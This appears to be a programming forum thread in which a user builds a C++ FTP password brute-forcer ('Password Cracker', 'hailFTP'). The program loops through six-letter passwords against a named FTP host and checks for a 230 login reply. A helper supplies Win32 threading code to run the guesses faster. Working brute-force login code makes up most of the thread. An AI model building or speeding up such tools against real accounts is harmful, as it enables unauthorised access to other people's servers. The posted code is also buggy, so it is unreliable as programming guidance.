I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login: - cout<< a << b << c << d << e << f <<"\n";
-
ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
-
record<< a << b << c << d << e << f;
-
record.close();
-
ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
-
char password[6];
-
readrecord>> password;
-
ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
-
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
-
ftpscript.close();
-
system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
Jun 30 '07
21 2271
I didn't know you were going to use a class.
With a class it's a little different. Here is code that works: -
-
-
//Demo of how to create a thread within a class
-
-
-
#include <iostream>
-
using namespace std;
-
#include <windows.h>
-
-
-
class MyClass
-
{
-
public:
-
MyClass();
-
static DWORD WINAPI StartThreadOne(LPVOID in);
-
void LaunchOne();
-
void ExecuteThreadOne();
-
int GetDataOne() { return DataOne;}
-
void SetDataOne(int in) {DataOne = in;}
-
-
private:
-
HANDLE hThreadOne;
-
int DataOne;
-
};
-
-
MyClass::MyClass() : hThreadOne(0), DataOne(0)
-
{
-
-
}
-
-
void MyClass::LaunchOne()
-
{
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
StartThreadOne, //the thread
-
this, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
if (!th)
-
{
-
cout << "CreateThread failed" << endl;
-
}
-
-
}
-
-
DWORD WINAPI MyClass::StartThreadOne(LPVOID in)
-
{
-
reinterpret_cast<MyClass*> (in) ->ExecuteThreadOne();
-
-
return 0; //thread completed
-
}
-
-
void MyClass::ExecuteThreadOne()
-
{
-
while (1)
-
{
-
DataOne++;
-
Sleep(500);
-
}
-
}
-
-
-
-
-
int main()
-
{
-
cout << "Starting main()" << endl;
-
MyClass obj;
-
obj.LaunchOne();
-
-
int buffer;
-
while (1)
-
{
-
buffer = obj.GetDataOne();
-
cout << buffer << " ";
-
Sleep(500);
-
if (buffer > 20)
-
{
-
obj.SetDataOne(0);
-
}
-
}
-
-
return 0;
-
}
-
-
-
-
/*
-
HANDLE CreateThread(
-
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
-
DWORD dwStackSize, // initial stack size
-
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
-
LPVOID lpParameter, // thread argument
-
DWORD dwCreationFlags, // creation option
-
LPDWORD lpThreadId // thread identifier
-
);
-
*/
-
So, in main() you create a MyClass object and call the LaunchOne() method.
MyClass::Launch One() does the call to ::CreateThread using the threadproc which is MyClass::StartT hreadOne. Note that this is a static member function. The function used in the ::CreateThread( ) argument cannot require an object. Hence, the static.
Once MyClass::StartT hreadOne() starts, it casts the LPVOID (provided by ::CreateThread( ) where a MyClass this was used for the thread argument) to a MyClass pointer. Now you can run methods on your class. In this example it is MyClass::Execut eThreadOne() that is really doing the work.
Change your code to operate along these lines.
Ok this is a little complicated. The reason I was using a class is because I found a site which showed how to do it with a class, but if there is a simpler way to do it I would be grateful for a way to do it without a class.
And congratulations on breaking the 1000 posts mark.
This is most of my source code (without functions int seven() and int eight() included) without creating a thread if it helps:
All you do is call CreateThread() in your main().
Write a ThreadProc function: -
DWORD WINAPI ThreadProc(LPVOID);
-
Yours might be: -
DWORD WINAPI Niskin(LPVOID arg)
-
{
-
//The LPVOID argument is the address of a struct Data (see below)
-
//Type cast arg to a Data* to access the members.
-
//do the ftp in here.
-
}
-
You need a file name, a userid and a password. Use a struct for this. -
struct Data
-
{
-
char* file name;
-
char* userid;
-
char* password;
-
};
-
Create a Data variable and intialize the members.
Then call: -
Data var;
-
/*intialize the var members */
-
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
niskin, //the thread
-
&var, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
If the return is not NULL, you have a successful thread launch. The thread ID is in that DWORD. You use the thread ID to communicate with your thread if necessary.
I did not compile this example. This is to just give you the idea.
All you do is call CreateThread() in your main().
Write a ThreadProc function: -
DWORD WINAPI ThreadProc(LPVOID);
-
Yours might be: -
DWORD WINAPI Niskin(LPVOID arg)
-
{
-
//The LPVOID argument is the address of a struct Data (see below)
-
//Type cast arg to a Data* to access the members.
-
//do the ftp in here.
-
}
-
You need a file name, a userid and a password. Use a struct for this. -
struct Data
-
{
-
char* file name;
-
char* userid;
-
char* password;
-
};
-
Do I need to use a struct because I am writing the data to a file and then using that file in the ftp command?
Also, I am using 6 for loops for the six() function, 7 for the seven() function etc. and I need to run a new thread each time the loop starts again. Where abouts should I put the code to start the thread? Should it be inside the loop?
I have tried this: - int six() {
-
-
-
-
char letters[100];
-
char username[20];
-
ifstream user ( "username.txt" );
-
user>> username;
-
user.close();
-
char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
-
ifstream record ( "record.txt" );
-
record>> letters;
-
record.close();
-
struct Data
-
{
-
char* userid;
-
char* password;
-
};
-
Data var;
-
for(char a = letters[0]; a <= alphabet[25]; a++)
-
{
-
for(char b = letters[1]; b <= alphabet[25]; b++)
-
{
-
for(char c = letters[2]; c <= alphabet[25]; c++)
-
{
-
for(char d = letters[3]; d <= alphabet[25]; d++)
-
{
-
for(char e = letters[4]; e <= alphabet[25]; e++)
-
{
-
for(char f = letters[5]; f <= alphabet[25]; f++)
-
{
-
DWORD WINAPI niskin(LPVOID);
-
{
-
//The LPVOID argument is the address of a struct Data (see below)
-
//Type cast arg to a Data* to access the members.
-
//do the ftp in here.
-
FILE *success;
-
success=fopen("success.txt", "w+");
-
fprintf(success, "");
-
fclose(success);
-
cout<< a << b << c << d << e << f <<"\n";
-
ofstream record ( "record.txt" );
-
record<< a << b << c << d << e << f;
-
record.close();
-
ifstream readrecord ( "record.txt" );
-
char password[6];
-
readrecord>> password;
-
ofstream ftpscript ( "ftpscript.txt" );
-
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
-
ftpscript.close();
-
char psBuffer[128];
-
FILE *pPipe;
-
/* Run command so that it writes its output to a pipe. Open this
-
* pipe with read text attribute so that we can read it
-
* like a text file.
-
*/
-
if( (pPipe = _popen( "<command-to-log-on-to-ftp>", "rt" )) == NULL )
-
-
/* Read pipe until end of file. */
-
while( !feof( pPipe ) )
-
{
-
if( fgets( psBuffer, 128, pPipe ) != NULL )
-
//printf( psBuffer );
-
FILE *success;
-
success=fopen("success.txt", "a+");
-
fprintf(success, psBuffer);
-
fclose(success);
-
}
-
-
}
-
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
niskin, //the thread
-
&var, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
-
-
char reada[20];
-
char readb[20];
-
char readc[20];
-
char readd[20];
-
char reade[20];
-
char readf[20];
-
char readg[20];
-
char readh[20];
-
char readi[20];
-
char readj[20];
-
char readk[20];
-
char readl[20];
-
char readm[20];
-
int readn;
-
-
ifstream readrecord ( "record.txt" );
-
char password[6];
-
readrecord>> password;
-
ifstream read ( "success.txt" );
-
read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
-
read.close();
-
if (readn == 230){
-
cout<< "\n\nYou are now logged on";
-
cin.get();
-
}
-
-
}
-
}
-
}
-
}
-
}
-
}
-
}
-
I get an error compiling it that says "[Linker error] undefined reference to '_Z6niskinPv@4' "
You need a struct becuse the thread function can have only an LPVOID argument. There is not way to pass in multiple arguments. So you create a struct variable and pass the address of the variable as the LPVOID. Then indise the threrad function you can typecaste the LPVOID back to a struct pointer to access the members.
So, you ceate a struct variable an call CreateThread(). The CreateThread() can be indie a loop provided you can use different struct pointers for each call.
On line 32 you have this: -
DWORD WINAPI niskin(LPVOID);
-
That is a function prototype. Move this to the top of the file.
I'm still getting the same error as before. Please point out whatever I have done wrong in my code: - #include <fstream>
-
#include <iostream>
-
using namespace std;
-
#include <windows.h>
-
-
int six();
-
DWORD WINAPI niskin(LPVOID);
-
-
int main() {
-
-
char letters[100];
-
char username[20];
-
cout<<"Enter the username to use: ";
-
cin.getline(username,20);
-
ofstream user ( "username.txt" );
-
user<< username;
-
user.close();
-
cout<<"\nEnter the letters to use: ";
-
cin.getline(letters,100);
-
ofstream record ( "record.txt" );
-
record<< letters;
-
record.close();
-
-
if(strlen(letters)==6) {
-
six();
-
}
-
/*if(strlen(letters)==7) {
-
seven();
-
}
-
if(strlen(letters)==8) {
-
eight();
-
}*/
-
}
-
-
-
int six() {
-
-
-
-
char letters[100];
-
char username[20];
-
ifstream user ( "username.txt" );
-
user>> username;
-
user.close();
-
char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
-
ifstream record ( "record.txt" );
-
record>> letters;
-
record.close();
-
struct Data
-
{
-
char* userid;
-
char* password;
-
};
-
Data var;
-
for(char a = letters[0]; a <= alphabet[25]; a++)
-
{
-
for(char b = letters[1]; b <= alphabet[25]; b++)
-
{
-
for(char c = letters[2]; c <= alphabet[25]; c++)
-
{
-
for(char d = letters[3]; d <= alphabet[25]; d++)
-
{
-
for(char e = letters[4]; e <= alphabet[25]; e++)
-
{
-
for(char f = letters[5]; f <= alphabet[25]; f++)
-
{
-
-
-
//The LPVOID argument is the address of a struct Data (see below)
-
//Type cast arg to a Data* to access the members.
-
//do the ftp in here.
-
FILE *success;
-
success=fopen("success.txt", "w+");
-
fprintf(success, "");
-
fclose(success);
-
cout<< a << b << c << d << e << f <<"\n";
-
ofstream record ( "record.txt" );
-
record<< a << b << c << d << e << f;
-
record.close();
-
ifstream readrecord ( "record.txt" );
-
char password[6];
-
readrecord>> password;
-
ofstream ftpscript ( "ftpscript.txt" );
-
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
-
ftpscript.close();
-
char psBuffer[128];
-
FILE *pPipe;
-
/* Run command so that it writes its output to a pipe. Open this
-
* pipe with read text attribute so that we can read it
-
* like a text file.
-
*/
-
if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
-
-
/* Read pipe until end of file. */
-
while( !feof( pPipe ) )
-
{
-
if( fgets( psBuffer, 128, pPipe ) != NULL )
-
//printf( psBuffer );
-
FILE *success;
-
success=fopen("success.txt", "a+");
-
fprintf(success, psBuffer);
-
fclose(success);
-
}
-
-
-
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
niskin, //the thread
-
&var, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
-
-
char reada[20];
-
char readb[20];
-
char readc[20];
-
char readd[20];
-
char reade[20];
-
char readf[20];
-
char readg[20];
-
char readh[20];
-
char readi[20];
-
char readj[20];
-
char readk[20];
-
char readl[20];
-
char readm[20];
-
int readn;
-
-
-
readrecord>> password;
-
ifstream read ( "success.txt" );
-
read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
-
read.close();
-
if (readn == 230){
-
cout<< "\n\nYou are now logged in";
-
cin.get();
-
}
-
-
}
-
}
-
}
-
}
-
}
-
}
-
}
-
-
You haven't written the thread function: -
DWORD WINAPI niskin(LPVOID)
-
{
-
//this is your thread logic
-
}
-
Sorry that I've needed so much help on this, I've now got this (it's a bit messy, I've just been rearranging my code by copying and pasting it into the right parts, haven't tidied it up yet): - #include <fstream>
-
#include <iostream>
-
using namespace std;
-
#include <windows.h>
-
-
int six();
-
DWORD WINAPI niskin(LPVOID)
-
{
-
char letters[100];
-
char username[20];
-
ifstream user ( "username.txt" );
-
user>> username;
-
user.close();
-
char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
-
ifstream record ( "record.txt" );
-
record>> letters;
-
record.close();
-
for(char a = letters[0]; a <= alphabet[25]; a++)
-
{
-
for(char b = letters[1]; b <= alphabet[25]; b++)
-
{
-
for(char c = letters[2]; c <= alphabet[25]; c++)
-
{
-
for(char d = letters[3]; d <= alphabet[25]; d++)
-
{
-
for(char e = letters[4]; e <= alphabet[25]; e++)
-
{
-
for(char f = letters[5]; f <= alphabet[25]; f++)
-
{
-
-
//The LPVOID argument is the address of a struct Data (see below)
-
//Type cast arg to a Data* to access the members.
-
//do the ftp in here.
-
FILE *success;
-
success=fopen("success.txt", "w+");
-
fprintf(success, "");
-
fclose(success);
-
cout<< a << b << c << d << e << f <<"\n";
-
ofstream record ( "record.txt" );
-
record<< a << b << c << d << e << f;
-
record.close();
-
ifstream readrecord ( "record.txt" );
-
char password[6];
-
readrecord>> password;
-
ofstream ftpscript ( "ftpscript.txt" );
-
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
-
ftpscript.close();
-
char psBuffer[128];
-
FILE *pPipe;
-
/* Run command so that it writes its output to a pipe. Open this
-
* pipe with read text attribute so that we can read it
-
* like a text file.
-
*/
-
if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
-
-
/* Read pipe until end of file. */
-
while( !feof( pPipe ) )
-
{
-
if( fgets( psBuffer, 128, pPipe ) != NULL )
-
//printf( psBuffer );
-
FILE *success;
-
success=fopen("success.txt", "a+");
-
fprintf(success, psBuffer);
-
fclose(success);
-
}
-
char reada[20];
-
char readb[20];
-
char readc[20];
-
char readd[20];
-
char reade[20];
-
char readf[20];
-
char readg[20];
-
char readh[20];
-
char readi[20];
-
char readj[20];
-
char readk[20];
-
char readl[20];
-
char readm[20];
-
int readn;
-
-
-
readrecord>> password;
-
ifstream read ( "success.txt" );
-
read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
-
read.close();
-
if (readn == 230){
-
cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
-
cin.get();
-
}
-
}
-
}
-
}
-
}
-
}
-
}
-
}
-
int main() {
-
-
char letters[100];
-
char username[20];
-
cout<<"hailFTP written by NAViiS.KiNDD\n\n" <<"Enter the username to use: ";
-
cin.getline(username,20);
-
ofstream user ( "username.txt" );
-
user<< username;
-
user.close();
-
cout<<"\nEnter the letters to use: ";
-
cin.getline(letters,100);
-
ofstream record ( "record.txt" );
-
record<< letters;
-
record.close();
-
-
if(strlen(letters)==6) {
-
six();
-
}
-
/*if(strlen(letters)==7) {
-
seven();
-
}
-
if(strlen(letters)==8) {
-
eight();
-
}*/
-
}
-
-
-
int six() {
-
-
-
-
-
struct Data
-
{
-
char* userid;
-
char* password;
-
};
-
Data var;
-
-
-
-
-
-
-
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
niskin, //the thread
-
&var, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
cin.get();
-
-
-
-
}
The code compiles, and then does about 100 attempts to login, however I knew the first password should be correct, but it didn't stop the program as it should when it is successful. And after about 200 attempts the program stopped responding.
You are really on the wrong track here.
Your thread needs a userid, password, and ftp command line.
I would have expected: -
struct Data
-
{
-
char* userid;
-
char* password;
-
char* ftpcommandline;
-
};
-
Data var;
-
The thread function would be: -
DWORD WINAPI niskin(LPVOID arg)
-
{
-
Data* ptr = reinterpret_cast<Data*> (arg);
-
//
-
//OK. Now ptr->userid is rthe userid
-
// ptr->password
-
// ptr->ftpcommandline
-
//
-
//TODO: Build a string using this stuff and call the system()
-
system("your ftp string does here");
-
}
-
In your main() you create Data variables with the various userids, paswswords and ftp command lines and you call CreateThread() fo every one of these variables using the address of the variable as the thread argument and niskin as the thread function.
All of the reading >> >> << << , etc. stays in main().
Write a function to start the thread: -
HANDLE StartThread(Data* arg)
-
{
-
DWORD threadid; //to hold the returned thread id
-
HANDLE th = CreateThread(
-
NULL, //use default security
-
0, //use stack size of calling thread
-
niskin, //the thread
-
(LPVOID)arg, //the thread input argument
-
0, //run immediately
-
&threadid
-
);
-
return th;
-
}
-
Then in main() you just create a Data variable and call StartThread(): -
Data var1;
-
//put values to the var1 members
-
StartThread(&var1);
-
Data var2;
-
//put values to the var2members
-
StartThread(&var2);
-
Data var3;
-
//put values to the var3 members
-
StartThread(&var3);
-
You can check the return from StartThread() and if ti is not null, then the thread was successfully started.
Sign in to post your reply or Sign up for a free account.
Similar topics |
by: Bob Helber |
last post by:
I've got a perl script with a system command, within a for loop, that
calls a FORTRAN program. For one of the iterations of the for loop the
FORTRAN program quits with an error due to bad input. This then exits
the for loop and does not continue the loop, which I would like it to
do, even if the FORTRAN program crashes. How can I "catch" this error
and continue the loop. Do I have to fix the FORTRAN program to exit
more cleanly?
...
|
by: RitaG |
last post by:
Hi.
I Have a VB.Net Windows Application that starts up using Sub Main.
It's a program that runs in the background and checks something every minute.
I use a Timer to accomplish this and it's working but to get it to work I
use a boolean variable (mbLoop) and the program runs until mbLoop is set to
False.
Do While mbLoop
'
Loop
|
by: dk |
last post by:
Any idea why the response time is slow when running
a system tray app when viewing the properties form?
There is one primary loop and a timer control which
executes every 3minutes. Is having the Primary loop the
problem?
tia,
dk
|
by: Ty Moffett |
last post by:
I'm using a queue to hold a series of strings that are complete command line
arguments to start the silent/unattended installation of various pieces of
software. Here is some sample code.
1 Dim myProcess as New Process
2 myProcess.EnableRaiseEvents = True
3 myProcess.StartInfo.Filename = myQ.Dequeue ' The string value in this
instance is "c:\windowsXP-KB824146-x86-ENU.exe /u /n /z"
4 Do Until (myProcess.HasExited = True)
5 Loop
|
by: Stressed Out Developer |
last post by:
We have an application that has a 200 count loop that does the following:
' Each time thru the loop we pass the next IP Address is a range (aka
192.168.4.50 thru 192.168.4.254)
Try
If mUIO_Threads(i) Is Nothing Then
mUIO_Threads(i) = New System.Threading.Thread(AddressOf
mUIO_DAQ(i).InitDAQ)
mUIO_Threads(i).Name = mUIO_DAQ(i).UIO_IPAddr
mUIO_Threads(i).IsBackground = False
| |
by: MSDN |
last post by:
Does anyone know why I am getting Invalid cast exception???
For Each oFile As System.web.HttpPostedFile In Request.Files
....... etc.....
Next
I Checked that
|
by: =?Utf-8?B?Z215ZXJz?= |
last post by:
Hello,
I am attempting to start a cmd.exe process and pass several .vbs scripts
(with additional parameters) and then read the output from the scripts and
make "notes" in a DataTable (the "notes" not being the issue).
Beginning with...
Dim objProcess As Process
Dim objProcessStartInfo As New ProcessStartInfo
|
by: Nathan Sokalski |
last post by:
I am trying to use the System.Array.ForEach method in VB.NET. The action
that I want to perform on each of the Array values is:
Private Function AddQuotes(ByVal value As String) As String
Return String.Format("'{0}'", value)
End Function
Basically, I just want to surround each value with single quotes. However, I
am having trouble getting this to work using the System.Array.ForEach
method. This may be partially because I am not very...
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look !
Part I. Meaning of...
|
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
|
by: Hystou |
last post by:
Overview:
Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
| |
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
|
by: TSSRALBI |
last post by:
Hello
I'm a network technician in training and I need your help.
I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.
The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols.
I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
|
by: adsilva |
last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
|
by: 6302768590 |
last post by:
Hai team
i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
|
by: bsmnconsultancy |
last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...
| |